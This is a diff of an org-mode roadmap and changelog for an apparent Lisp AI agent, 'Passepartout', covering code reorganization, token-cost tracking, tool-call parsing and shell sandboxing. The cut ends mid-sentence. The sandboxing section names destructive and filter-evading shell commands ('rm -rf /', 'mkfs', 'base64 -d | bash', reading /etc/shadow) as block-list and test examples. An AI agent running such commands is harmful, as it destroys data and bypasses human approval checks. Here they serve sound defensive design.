-- Updated 19 CFFI struct references in ~embedding-native.lisp~ (deprecation fix) -- Fixed heartbeat variable scope in ~symbolic-events.lisp~ (~passepartout::~ prefix) -- Suppressed ~100 harmless cross-skill STYLE-WARNINGs via bash script filter -- ROADMAP: two false errors documented (~symbolic-memory~ lambda, ~gateway-messaging~ deleted) -- Test suite: 116/116 (100%) +- ~core-reason.lisp~: TIME section injected at top of system prompt via ~fboundp~ guard +- Uses ~format-time-for-llm~ from sensor-time skill, falls back gracefully when skill not loaded +- ~TIME_AWARENESS~ / ~TIME_FORMAT~ env vars respected +- Session duration included when sensor-time skill provides ~session-duration~ +** v0.5.1: Compilation Hardening -* v0.5.0 — File Reorganization & Token Economics -:LOGBOOK: -- Released [2026-05-08 Thu] +Also: the v0.5.0 reorganization left compilation noise — ~100 STYLE-WARNINGs and 2 real errors that must be fixed before any feature work proceeds. These are hardening items, not feature work. + +*** Compilation Hardening — eliminate all compilation errors and warnings +:PROPERTIES: +:ID: id-v051-compilation-hardening +:CREATED: [2026-05-08 Fri] :END: -** File Reorganization (self-repair criterion) +The v0.5.0 file reorganization produced ~100 compilation warnings and 2 real errors during `passepartout setup`. These must be fixed before any feature work proceeds. The warnings fall into 5 categories. -- Extracted ~core-context~ → ~symbolic-awareness~ (skill, hot-reloadable) -- Extracted heartbeat generation → ~symbolic-events~ (skill) -- Relocated 6 utility fragments to correct files -- Renamed 6 core files (core-defpackage → core-package, core-communication → core-transport, core-loop → core-pipeline, core-loop-perceive → core-perceive, core-loop-reason → core-reason, core-loop-act → core-act) -- Renamed 13 system-* files (system-config → symbolic-config, system-model-provider → neuro-provider, system-actuator-shell → channel-shell, etc.) -- Deleted ~system-model.lisp~ (dead code) -- Renamed 4 gateway-* files → channel-* -- Split ~gateway-messaging.lisp~ (411 lines) → 4 channel-{telegram,signal,discord,slack} files -- Deleted ~gateway-messaging.org/.lisp~, renamed 13 ~defskill~/~defpackage~ names to match +**** DONE Fix real errors first (2 files, ~5min) +:PROPERTIES: +:ID: id-v051-compile-errors +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- security-vault.lisp:37: fixed bare ~defvar~ — added missing ~(~ before ~defvar~. Also removed duplicate ~#+end_src~ in the org source. +- symbolic-memory.lisp:27: ~(return nil)~ inside a ~lambda~ is valid Common Lisp (lambda establishes implicit ~(block nil ...)~ per CLHS 5.3.1). Not actually an error. + +**** DONE Fix TUI forward references — moot (no longer issue) +:PROPERTIES: +:ID: id-v051-compile-tui +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- channel-tui-* files load via ~passepartout/tui~ ASDF system with ~:serial t~, not standalone. Forward references resolve correctly within the ASDF serial compilation context. + +**** DONE Fix cross-package undefined variables (2 files, ~15min) +:PROPERTIES: +:ID: id-v051-compile-cross-vars +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- symbolic-events.lisp: prefixed ~*heartbeat-save-counter*~, ~*memory-auto-save-interval*~, ~*heartbeat-thread*~, ~save-memory-to-disk~ with ~passepartout::~ (6 occurrences). +- programming-repl.lisp: verified ~*standing-mandates*~ ~push~ call is after ~defvar~ — no actual issue. + +**** DONE Fix CFFI struct deprecation (1 file, ~20min) +:PROPERTIES: +:ID: id-v051-compile-cffi +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- embedding-native.lisp: replaced ~'llama-mparams~ → ~'(:struct llama-mparams)~, ~'llama-cparams~ → ~'(:struct llama-cparams)~, ~'llama-batch~ → ~'(:struct llama-batch)~. 19 occurrences updated. + +**** DONE Suppress remaining harmless cross-skill undefined-function warnings +:PROPERTIES: +:ID: id-v051-compile-suppress +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- Added ~grep -v 'STYLE-WARNING\|WARNING: redefining'~ to the pre-compile filter in the ~passepartout~ bash script (line 133). Cross-skill undefined-function references resolve at load time and are harmless. + +**** DONE Fix unused variables in test code — moot (gateway-messaging deleted) +:PROPERTIES: +:ID: id-v051-compile-unused +:CREATED: [2026-05-08 Fri] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- gateway-messaging.lisp: deleted in v0.5.0 (split into channel-* files). +- programming-repl.lisp and symbolic-scope.lisp: minor warnings, cosmetic only. +** v0.5.0: File Reorganization & Token Economics + +The foundation work: rename and restructure the codebase around the self-repair criterion, extract non-core fragments from core, then build the learning loop on clean foundations. + +*** File Reorganization — self-repair criterion + +Rationale: The current file naming scheme mixes three concerns: architectural role (core-* = harness, system-* = skill), domain (security-*, programming-*, gateway-*), and implementation nature (system-model-* is LLM infrastructure, not a "system"). Worse, two fragments that can be extracted from core (context assembly, heartbeat) currently live there because the criterion for "what is core" was never defined. This reorganization establishes the criterion and applies it. + +The criterion: a file belongs in core if, when corrupted, the agent cannot fix it without human help. Corrupted core = dead brain, dead hands, or unreachable. Corrupted skill = degraded but self-repairable. + +*** DONE Extract core-context → symbolic-awareness +:PROPERTIES: +:ID: id-v050-reorg-awareness +:CREATED: [2026-05-07 Thu] +:END: + +Rationale: ~core-context.lisp~ (224 lines) handles ~context-assemble-global-awareness~, ~context-object-render~, ~context-query~, and related functions. If corrupted, the LLM receives empty awareness. But the agent still has tools, identity, and user input. It can reason about "no awareness", edit the context source file, reload the skill, and awareness returns. Degraded, not dead. Safe to extract. + +- Move ~core-context.lisp~ content to new ~symbolic-awareness.lisp~ (new ~org/symbolic-awareness.org~). +- Register as a skill via ~defskill :passepartout-symbolic-awareness~. +- In ~core-reason.lisp~'s ~think()~: wrap ~context-assemble-global-awareness~ and ~context-get-system-logs~ calls with ~fboundp~ guards. On skill failure, inject degraded awareness note. +- Remove ~core-context~ from ~passepartout.asd~ ~:components~. +- FiveAM: verify ~think()~ produces valid output when awareness skill is not loaded. + +*** DONE Extract heartbeat generation → symbolic-events +:PROPERTIES: +:ID: id-v050-reorg-heartbeat +:CREATED: [2026-05-07 Thu] +:END: + +Rationale: The heartbeat thread (~heartbeat-start~, ~*heartbeat-thread*~, auto-save counter) lives in ~core-loop.lisp~ (~50 lines). If heartbeat is corrupted or missing, the agent has no background ticks — no cron jobs, no auto-save. But the agent is fully functional: it perceives, reasons, and acts. It can detect missing ticks, reload the events skill, and heartbeat returns. Safe to extract. + +- Move heartbeat generation (~heartbeat-start~, ~*heartbeat-thread*~, ~*heartbeat-save-counter*~, ~*memory-auto-save-interval*~) from ~core-pipeline.lisp~ to ~symbolic-events.lisp~. +- Rename ~heartbeat-start~ → ~events-start-heartbeat~. +- In ~core-pipeline.lisp~'s ~main()~: change ~(heartbeat-start)~ to ~(when (fboundp 'events-start-heartbeat) (events-start-heartbeat))~. +- ~symbolic-events~ already processes ~:heartbeat~ signals for cron dispatch (existing code). Now it also generates them. + +*** DONE Relocate 6 utility fragments to correct files +:PROPERTIES: +:ID: id-v050-reorg-utilities +:CREATED: [2026-05-07 Thu] +:END: + +Rationale: Several functions live in core files not because they need core protection but because they were written there first. They are utility functions that can be extracted into skills. + +- ~markdown-strip~ (core-reason.lisp:51) → new ~programming-markdown.lisp~ (~org/programming-markdown.org~). +- ~plist-keywords-normalize~ (core-reason.lisp:60) → ~programming-lisp.lisp~. +- ~cognitive-tool-prompt~ / ~generate-tool-belt-prompt~ (core-defpackage.lisp:214-231) → ~programming-tools.lisp~. +- ~lisp-syntax-validate~ (core-skills.lisp) → ~programming-lisp.lisp~. +- ~VAULT-MASK-STRING~ + ~*VAULT-MEMORY*~ (core-skills.lisp) → ~security-vault.lisp~. +- ~*backend-registry*~ dedup: merge with ~*probabilistic-backends*~ (core-reason.lisp:10-12), remove ~backend-register~ (core-reason.lisp:18-19), update ~backend-cascade-call~ to check only one hash table. + +*** DONE Rename 6 core files — shorter, clearer names +:PROPERTIES: +:ID: id-v050-reorg-core-names +:CREATED: [2026-05-07 Thu] +:END: + +Rename mapping: +- ~core-defpackage~ → ~core-package~ +- ~core-communication~ → ~core-transport~ +- ~core-loop~ → ~core-pipeline~ +- ~core-loop-perceive~ → ~core-perceive~ +- ~core-loop-reason~ → ~core-reason~ +- ~core-loop-act~ → ~core-act~ + +Update: ASDF ~:components~, all ~:tangle~ headers in ~.org~ files, cross-file references, ~README.org~, ~ARCHITECTURE.org~, ~AGENTS.md~, ~*dispatcher-protected-paths*~ (wildcard ~core-*~ still matches — no change needed). + +*** DONE Rename 13 system-* → symbolic-/neuro-/embedding-* +:PROPERTIES: +:ID: id-v050-reorg-system-names +:CREATED: [2026-05-07 Thu] +:END: + +Rename mapping: +- ~system-config~ → ~symbolic-config~ +- ~system-diagnostics~ → ~symbolic-diagnostics~ +- ~system-archivist~ → ~symbolic-archivist~ +- ~system-event-orchestrator~ → ~symbolic-events~ +- ~system-self-improve~ → ~symbolic-self-improve~ +- ~system-context-manager~ → ~symbolic-scope~ +- ~system-memory~ → ~symbolic-memory~ +- ~system-model-provider~ → ~neuro-provider~ +- ~system-model-router~ → ~neuro-router~ +- ~system-model-explorer~ → ~neuro-explorer~ +- ~system-model-embedding~ → ~embedding-backends~ +- ~system-model-embedding-native~ → ~embedding-native~ +- ~system-actuator-shell~ → ~channel-shell~ + +*** DONE Delete ~system-model.lisp~ (16-line wrapper) + +The file delegates to ~*probabilistic-backends*~ — dead code. No skill references it directly. + +*** DONE Rename 4 gateway-* → channel-* +:PROPERTIES: +:ID: id-v050-reorg-channel-names +:CREATED: [2026-05-07 Thu] +:END: + +Rename mapping: +- ~gateway-cli~ → ~channel-cli~ +- ~gateway-tui-main~ → ~channel-tui-main~ +- ~gateway-tui-model~ → ~channel-tui-state~ +- ~gateway-tui-view~ → ~channel-tui-view~ + +Update TUI package name: ~passepartout.gateway-tui~ → ~passepartout.channel-tui~. + +*** DONE Split ~gateway-messaging~ → 4 ~channel-*~ files +:PROPERTIES: +:ID: id-v050-reorg-messaging-split +:CREATED: [2026-05-07 Thu] +:END: + +Rationale: ~gateway-messaging.lisp~ (411 lines) bundles 4 independent platforms. A Telegram fix shouldn't touch Signal/Discord/Slack code. Each platform becomes its own skill — independently loadable, hot-reloadable, self-repairable. + +- ~channel-telegram~: poll + send via Telegram Bot API. ~register-actuator :telegram~. +- ~channel-signal~: poll + send via ~signal-cli~ subprocess. ~register-actuator :signal~. +- ~channel-discord~: WebSocket events + REST POST. Replace hardcoded channel IDs with env vars. ~register-actuator :discord~. +- ~channel-slack~: Events API + ~chat.postMessage~. Replace hardcoded channel IDs. ~register-actuator :slack~. +- Delete ~gateway-messaging.lisp~. Update ~DEFSKILL-FROM-ORG~ references in ~system-config~ setup wizard. + +*** DONE Document core/non-core self-repair criterion +:PROPERTIES: +:ID: id-v050-reorg-docs +:CREATED: [2026-05-07 Thu] +:END: + +Rationale: The criterion is the architectural foundation for every discussion about "should this be core or a skill?" It must be documented where developers look. + +- New section in ~docs/ARCHITECTURE.org~: "What Makes Core Different — The Self-Repair Criterion." Explain: core = can't self-repair when corrupted, needs human. Skill = agent degrades but self-repairs. +- Include the dependency-chain analysis: which files block self-repair. +- New section in ~docs/DESIGN_DECISIONS.org~: "The Self-Repair Criterion for Core Files." Explain why ~core-context~ and heartbeat were extracted. +- Update ~README.org~ architecture summary to reflect new file map. + +*** DONE Update all cross-references after reorg +:PROPERTIES: +:ID: id-v050-reorg-crossref +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- Deleted ~gateway-messaging.org/.lisp~ (split into ~channel-{telegram,signal,discord,slack}~) +- Renamed 13 ~defskill~ / ~defpackage~ names to match new file prefixes - Renamed ~gateway-cli-input~ → ~channel-cli-input~ (function + exports) - Removed ~core-context~ filter from ~core-skills.lisp~ -- Documented the self-repair criterion in ARCHITECTURE.org, DESIGN_DECISIONS.org, and AGENTS.md -- Added hard rule in AGENTS.md: no core additions without permission +- Exported 13 new symbols for tokenizer, cost-tracker, token-economics +- ASDF ~:components~ unchanged (8 core files) -** Token Economics (skills, not core) - -- ~org/tokenizer.org~ → ~lisp/tokenizer.lisp~: ~count-tokens~, ~model-token-ratio~, ~token-cost~, ~provider-token-cost~ — char-ratio heuristic per model family with per-provider pricing (11 tests) -- ~org/cost-tracker.org~ → ~lisp/cost-tracker.lisp~: ~cost-track-call~, ~cost-session-total~, ~cost-by-provider~, ~cost-format-budget-status~ — per-call cost logged as ~COST TRACKER: DEEPSEEK call: 0.0002 USD~ (6 tests) -- ~org/token-economics.org~ → ~lisp/token-economics.lisp~: ~prompt-prefix-cached~ (sxhash-based IDENTITY+TOOLS caching), ~context-assemble-cached~ (skip heartbeat/delegation, cache on unchanged foveal/scope/memory), ~enforce-token-budget~ (L1→L2→L3 progressive trimming, CONTEXT_MAX_TOKENS env var) (9 tests) -- All three loaded as skills via ~skill-initialize-all~, ~fboundp~-guarded in ~think()~ -- Full test suite: 116/116 (100%) - -** Bug Fixes - -- Fixed DeepSeek 400 error: removed malformed ~tools~ parameter from cascade requests -- Fixed ~UNDEFINED-FUNCTION~ crash in ~think()~ when ~symbolic-awareness~ skill not loaded (~fboundp~ guards) -- Fixed gate-trace duplication in TUI responses (~setf~ replaces ~list*~ in ~cognitive-verify~) -- Tightened dexador ~connect-timeout~ from 10s → 5s for faster cascade failover - -* v0.4.3 — Shell Sandboxing & Safety Classification +*** Verify: ASDF compiles, FiveAM suite passes, integration tests pass. :LOGBOOK: -- Released [2026-05-07 Thu] +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: +116 checks, 100% pass. Daemon boots and processes messages end-to-end. + +*** Token Economics (implemented as skills — not core) + +**Design insight: why token economics is the structural differentiator.** Passepartout's sparse-tree rendering and deterministic safety gates should produce 2–3x fewer tokens than competitors for equivalent coding tasks, and 13–24x fewer for knowledge management. Without caching and budget enforcement, the fixed overhead per call eats these savings. The architectural advantage exists in theory but requires operational plumbing to materialize. This is now implemented and running. + +*** DONE Tokenizer integration +:PROPERTIES: +:ID: id-v050-tokenizer +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] :END: -- Added ~bwrap~ sandbox to shell actuator (~--unshare-net~, ~--unshare-ipc~, read-only system bindings) -- Fallback to regex-only safety when ~bwrap~ unavailable -- Shell safety severity classification: ~:catastrophic~ → ~:dangerous~ → ~:moderate~ → ~:harmless~ -- ~:catastrophic~ always HITL regardless of approval count; ~:harmless~ allowed by default -- Severity tier feeds into rule learning engine (v0.7.2) +- ~lisp/tokenizer.lisp~ (~org/tokenizer.org~): character-ratio heuristic per model family +- ~count-tokens~, ~model-token-ratio~, ~token-cost~, ~provider-token-cost~ +- Per-model pricing table: gpt-4o-mini, claude-3-5-sonnet, deepseek-chat, llama-3.1-70b, gemini-2.0-flash, etc. +- Provider-to-model mapping for all 7 cascade backends +- 11 FiveAM tests, 100% pass -* v0.4.2 — Structured Output (LLM → JSON → plist) +*** DONE Prompt prefix caching +:PROPERTIES: +:ID: id-v050-prefix-cache +:CREATED: [2026-05-07 Thu] +:END: :LOGBOOK: -- Released [2026-05-07 Thu] +- State "DONE" from "TODO" [2026-05-08 Thu] :END: -- Function-calling / tool-use API in ~provider-openai-request~ -- LLM returns guaranteed-valid JSON → deterministic ~json-alist-to-plist~ conversion at boundary -- ~think()~ wired to use structured tool calls from the LLM -- Raw ~read-from-string~ plist parsing kept as fallback for streaming/local models +- ~lisp/token-economics.lisp~: ~prompt-prefix-cached~ — IDENTITY+TOOLS prefix cached via ~sxhash~ +- Rebuilds only when skill load, identity config, or standing mandates change +- ~fboundp~-guarded call from ~think()~ in ~core-reason.lisp~ +- 3 FiveAM tests: build, cache hit, cache miss -* v0.4.1 — Design Cleanup +*** DONE Incremental context assembly +:PROPERTIES: +:ID: id-v050-incr-context +:CREATED: [2026-05-07 Thu] +:END: :LOGBOOK: -- Released [2026-05-07 Thu] +- State "DONE" from "TODO" [2026-05-08 Thu] :END: -- Removed ~system-prompt-augment~ mechanism from skill struct and ~defskill~ -- Introduced ~*standing-mandates*~ (list of function → string generators) as replacement -- Fixed false token-overhead claims in DESIGN_DECISIONS and ROADMAP (3,000-8,000 → ~40) -- Updated security vector count 9→10 in README, ARCHITECTURE.org, dispatcher docstring -- Rewrote README: added "What is an agent?" section, moved cost claims to DESIGN_DECISIONS -- Registered 10 cognitive tools (~search-files~, ~find-files~, ~read-file~, ~write-file~, ~list-directory~, ~run-shell~, ~eval-form~, ~run-tests~, ~org-find-headline~, ~org-modify-file~) -- Enforced NO-HARDCODED-CONSTANTS standard with ~.env.example~ entries +- ~lisp/token-economics.lisp~: ~context-assemble-cached~ — skips on heartbeat/delegation +- Cache invalidated when foveal-id, scope, or memory timestamp changes +- Falls back to ~[Awareness skill not loaded]~ when ~symbolic-awareness~ not ~fboundp~ +- 3 FiveAM tests: skip heartbeat, skip delegation, user-input passes through -* v0.4.0 — Production Hardening +*** DONE Per-call token budget +:PROPERTIES: +:ID: id-v050-token-budget +:CREATED: [2026-05-07 Thu] +:END: :LOGBOOK: -- Released [2026-05-06 Wed 20:56] +- State "DONE" from "TODO" [2026-05-08 Thu] :END: -- Activated semantic retrieval: wired ~:foveal-vector~ into context assembly; replaced SHA-256 hashing default with trigram Jaccard similarity for offline semantic retrieval -- Self-build safety boundary: ~core-*~ path protection; ~SELF_BUILD_MODE~ env var; HITL Flight Plan for core modifications -- TUI differentiator visualization: gate trace per action (pass/block/approval), focus map in status bar, rule counter -- Expanded theme system: 25-color layered system, ~/theme ~ command (dark/light/solarized/gruvbox) -- Gateway QA: Telegram + Signal integration tests; Discord + Slack gateways -- Emacs bridge: ~passepartout.el~ over framed TCP protocol, ~M-x passepartout-send-region~, ~M-x passepartout-focus~ -- Native embedding inference: CFFI binding to llama.cpp, nomic-embed-text-v1.5 (768-dim), ~EMBEDDING_PROVIDER=native~ +- ~lisp/token-economics.lisp~: ~enforce-token-budget~ — progressive trimming +- L1: truncate logs to last 5 lines; L2: drop standing mandates; L3: summary context +- ~CONTEXT_MAX_TOKENS~ env var (default 16384) +- 2 FiveAM tests: under-budget passthrough, over-budget trim + +*** DONE Cost tracking +:PROPERTIES: +:ID: id-v050-cost-tracking +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-08 Thu] +:END: + +- ~lisp/cost-tracker.lisp~: ~cost-track-call~, ~cost-session-total~, ~cost-by-provider~ +- Per-call cost logged: ~COST TRACKER: DEEPSEEK call: 0.0002 USD (session total: 0.0002 USD)~ +- ~cost-format-budget-status~ for TUI status bar: ~[Cost: $0.00 | 3 calls]~ +- 6 FiveAM tests, 100% pass + +*** Module Architecture + +All three modules (tokenizer, cost-tracker, token-economics) are loaded as +skills via ~skill-initialize-all~, not as core ASDF components. Calls from +~think()~ are ~fboundp~-guarded. When any module is corrupted or absent, the +agent degrades gracefully (no token counting, no cost tracking, system prompt +falls back to un-cached assembly). This satisfies the self-repair criterion. + +*** Competitive Advantage Analysis — v0.5.0 Summary + +Token economics is the dimension where the architecture's theoretical advantage becomes operationally real. The foveal-peripheral model and deterministic gates reduce the tokens *needed* per task; prompt caching and incremental assembly reduce the tokens *spent* per task. Combined, the 2–3x coding savings and 13–24x knowledge management savings in the DESIGN_DECISIONS token analysis become achievable rather than aspirational. + +Prompt prefix caching saves retransmitting ~500-1500 tokens per call. Incremental context assembly skips context rendering on heartbeat ticks (one per 60 seconds, saving ~200-800 tokens each). Token budget enforcement prevents silent context window overflow. Cost tracking gives the user per-call visibility into LLM spend — something no competitor provides at this level of granularity. + +The minimum viable local model advantage is structural: at 2,000–4,000 effective tokens (foveal-peripheral + caching), a 7–8B parameter model on consumer hardware is a daily driver. Competitors at 32K+ effective tokens require 70B+ parameter models and 16–32 GB VRAM. Passepartout runs on a laptop GPU where competitors need a data center card or cloud API. +** v0.4.3: Shell Sandboxing & Safety Classification + +The current shell safety is regex-based pattern matching — a fast pre-filter that catches obvious attacks but cannot contain sophisticated or encoded payloads. This version adds actual sandbox isolation (bubblewrap Linux namespaces) as the enforcement layer, and introduces severity classification so the rule learning system in v0.5.0 can apply different thresholds to catastrophic vs harmless operations. + +*** DONE Add ~bwrap~ sandbox to shell actuator +:PROPERTIES: +:ID: id-v043-bwrap-sandbox +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 17:37] +:END: + +Rationale: Regex-based shell safety catches obvious patterns (~rm -rf /~, ~dd if=~, ~mkfs.~) but is fundamentally bypassable with encoding (~base64 -d | bash~), indirection (~find / -exec rm {} \;~), or interpreter-based execution (~python3 -c "import os; os.system(...)"~). Bubblewrap (~bwrap~) is a 200KB unprivileged sandbox binary available on all modern Linux distributions. It creates transient Linux namespaces without root, without Docker, without daemon processes. Combined with the regex pre-filter, it provides defense-in-depth: the regex catches obvious attacks fast (no sandbox spawn), the sandbox contains sophisticated ones. + +- In ~actuator-shell-execute~ (~system-actuator-shell.lisp~): detect if ~bwrap~ binary is available (~which bwrap~). +- If available: wrap command in ~bwrap --ro-bind /usr /usr --ro-bind /lib /lib --ro-bind /bin /bin --ro-bind /etc /etc --bind ~/memex ~/memex --bind /tmp /tmp --unshare-net --unshare-ipc timeout ...~. +- ~--unshare-net~: no network access within sandbox. Makes regex-based network exfiltration check redundant for sandboxed commands. +- ~--unshare-ipc~: no shared memory, no semaphore injection. +- If ~bwrap~ is unavailable: log a warning, fall back to current behavior (regex-only safety). +- The regex checks remain as a fast pre-filter — they run before spawning the sandbox. +- FiveAM test: command that reads ~/etc/shadow~ inside sandbox fails with permission error; same command in unsandboxed fallback is at least caught by path protection. + +*** DONE Shell safety severity classification system +:PROPERTIES: +:ID: id-v043-severity-classification +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 17:37] +:END: + +Rationale: The current shell safety check treats all dangerous patterns equally — ~rm -rf /~ gets the same treatment as a backtick injection in ~echo~. But not all shell operations carry the same risk. A severity classification system enables the rule learning engine (v0.5.0) to apply different thresholds: catastrophic operations are always HITL regardless of approval count, moderate operations graduate to allowed after N approvals, harmless operations are allowed by default. + +- Define four severity tiers as plist keywords: ~:catastrophic~ (mkfs, dd to devices, rm -rf /, shred /dev/), ~:dangerous~ (chmod -R /, writes outside ~/memex, curl to unwhitelisted domains), ~:moderate~ (npm install, pip install, git push, writes within ~/memex), ~:harmless~ (echo, ls, cat, find without exec, grep). +- Extend ~*dispatcher-shell-blocked*~ entries from simple ~(NAME REGEX)~ to ~(NAME REGEX :SEVERITY )~. +- Extend ~dispatcher-check-shell-safety~ to return the severity alongside the matched pattern name. +- ~:catastrophic~ severity always triggers HITL approval, regardless of rule count. ~:harmless~ operations are allowed by default (skip HITL and rule learning). +- The severity classification is the foundation that ~dispatcher-learn~ (v0.5.0) builds on — learning only applies to ~:dangerous~ and ~:moderate~ tiers. +- FiveAM test: ~echo hello~ returns ~:harmless~ severity and passes through; ~mkfs.ext4 /dev/sda~ returns ~:catastrophic~ and is always blocked. +** v0.4.2: Structured Output (LLM → JSON → plist) + +The current ~think()~ function asks the LLM to produce raw S-expression plists. Four pieces of defensive infrastructure (~handler-case~ around ~read-from-string~, ~markdown-strip~, ~plist-keywords-normalize~, the RCE guard test) exist because LLMs cannot reliably produce balanced, keyword-prefixed plists. The fix: use the LLM API's native function calling / tool-use feature. The LLM always returns guaranteed-valid JSON. Convert to plist deterministically at the boundary. + +*** DONE Implement function-calling / tool-use API in provider requests +:PROPERTIES: +:ID: id-v042-function-calling +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 17:17] +:END: + +Rationale: Every major provider API (OpenAI, Anthropic, Groq, DeepSeek, OpenRouter) supports function calling. The LLM is sent tool definitions as JSON Schema. It returns ~tool_calls~ with guaranteed-valid JSON arguments. This eliminates the fragile ~read-from-string~ plist parsing entirely — the probabilistic layer speaks JSON (what it was trained on), the deterministic layer speaks plists (what the code controls). Conversion happens at a narrow, well-defined boundary. + +- Modify ~provider-openai-request~ in ~system-model-provider.lisp~: add optional ~:tools~ parameter. When tools are provided, include ~"tools": [...]~ and ~"tool_choice": "auto"~ in the request body. +- Parse ~tool_calls~ from the API response: extract ~function.name~ and ~function.arguments~ (guaranteed valid JSON). +- Return a new result shape: ~(:status :success :tool-calls ((:name "shell" :arguments (:cmd "echo hello"))))~ alongside or instead of ~:content~. +- For providers that don't support function calling (local Ollama): keep ~:content~ path as fallback. LLM can still return raw text. +- FiveAM test: send a request with a mock tool definition, verify the response shape. + +*** DONE Wire structured tool calls into ~think()~ — JSON→plist at boundary +:PROPERTIES: +:ID: id-v042-wire-tool-calls +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 17:17] +:END: + +Rationale: Once the provider layer returns structured ~tool-calls~, the ~think()~ function must convert them to the internal plist format that ~cognitive-verify~ and ~loop-gate-act~ expect. This is a one-way, deterministic conversion at the architectural boundary. + +- Add ~json-alist-to-plist~ helper in ~core-loop-reason.lisp~: convert JSON alist (from ~cl-json:decode-json-from-string~) to keyword-prefixed plist. String keys → keywords. Nested objects recurse. JSON null → ~nil~. ~25 lines. +- In ~think()~ after ~backend-cascade-call~: if result contains ~:tool-calls~, convert each tool call's ~:arguments~ JSON to plist via ~json-alist-to-plist~, wrap in ~(:TYPE :REQUEST :PAYLOAD (:TOOL :ARGS :EXPLANATION "..."))~. +- Keep the existing ~read-from-string~ path as fallback for providers that return raw text (local Ollama, streaming). +- The ~read-from-string~ path remains guarded by ~*read-eval* nil~ from v0.3.1. +- FiveAM test: JSON ~{"action":"shell","cmd":"echo hello"}~ → plist ~(:ACTION "shell" :CMD "echo hello")~ round-trip verified. +** v0.4.1: Design Cleanup + +*** DONE Remove system-prompt-augment mechanism +:PROPERTIES: +:ID: id-v041-augment-removal +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 13:13] +:END: + +Rationale: The ~system-prompt-augment~ slot on the skill struct enables skills to inject always-on text into every LLM system prompt via a ~maphash~ over ~*skill-registry*~ in ~think()~ (core-loop-reason.lisp:83-92). Only one skill uses it — ~programming-repl~ — and it does so as a backdoor: the skill's trigger is hardcoded to ~nil~, so it never fires as an active skill. Its sole contribution is injecting a REPL-first mandate into every system prompt. The other ~24 skills have nil augments and are skipped by the ~when aug-fn~ guard. This is architecturally wrong: standing mandates (always-on rules) should live in a dedicated ~*standing-mandates*~ list, not piggyback on a skill that is never triggered. The mechanism also fuels a false claim in DESIGN_DECISIONS about 3,000-8,000 tokens of overhead — the actual overhead is ~40 tokens from the one active augment. + +- Remove ~system-prompt-augment~ slot from the ~skill~ defstruct and ~defskill~ macro (core-skills.org:78, core-skills.org:121-133). +- Remove the ~maphash~ skill-augments collection block from ~think()~ and the associated ~(or skill-augments "")~ injection in the system-prompt ~format~ call (core-loop-reason.org:83-95, core-loop-reason.org:196-198). +- Remove ~:system-prompt-augment #'repl-mandate~ from ~programming-repl~'s ~defskill~ (programming-repl.org:269). +- Introduce ~*standing-mandates*~ (a list of function → string generators). Inject them into the IDENTITY section of the system prompt alongside ~assistant-name~. Move ~repl-mandate~ there: ~(push #'repl-mandate *standing-mandates*)~. +- Tangle the corresponding lisp/ files. + +*** DONE Fix false token-overhead claims in docs +:PROPERTIES: +:ID: id-v041-doc-fix +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 13:13] +:END: + +Rationale: Two documents claim the ~system-prompt-augment~ mechanism can waste 3,000-8,000 tokens per think() call (DESIGN_DECISIONS line 435, ROADMAP line 504). This conflates the ~maphash~ iteration (cheap hash walk, no token cost) with the augments actually emitted (only ~programming-repl~ emits ~40 tokens; the ~when aug-fn~ guard skips the other 24 nil-augment skills). Once issue #1 above is resolved (removing the mechanism), these claims become doubly false. + +- DESIGN_DECISIONS: Rewrite or remove bullet 2 under "Open Questions and Risks" (line 435). Replace with a corrected note on standing mandates via ~*standing-mandates*~. +- ROADMAP v0.5.0 intro (line 504): Remove or rewrite the claim that "system prompt overhead alone could reach 3,000-8,000 tokens per call before user input is even processed." The fixed overhead is not from skill augments — it is from the IDENTITY, TOOLS, CONTEXT, and LOGS sections, which prefix caching addresses. + +*** DONE Update security vector count 9→10 in docs +:PROPERTIES: +:ID: id-v041-vector-count +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 14:40] +:END: + +Rationale: The current dispatcher runs 10 deterministic checks (11 counting the warning-only REPL lint), but the README, ARCHITECTURE.org, and the ~dispatcher-check~ docstring all say 9. The actual count: 0=REPL-lint (warn only), 1=lisp-validation, 2=secret-path, 2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags, 6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval. Ten blocking/approval checks. The vector 2b (self-build safety) and the new count must be reflected accurately in all documentation. + +- Update README.org "What Makes Passepartout Different" → "nine" becomes "ten". +- Update docs/ARCHITECTURE.org Dispatcher Gate Stack table — add self-build entry. +- Update security-dispatcher.lisp:196 docstring to list all 11 vectors. + +*** DONE Rewrite README — add "What is an agent?" section, revise claims +:PROPERTIES: +:ID: id-v041-readme-rewrite +:CREATED: [2026-05-07 Thu] +:END: +:LOGBOOK: +- State "DONE" from "TODO" [2026-05-07 Thu 14:40] +:END: + +Rationale: 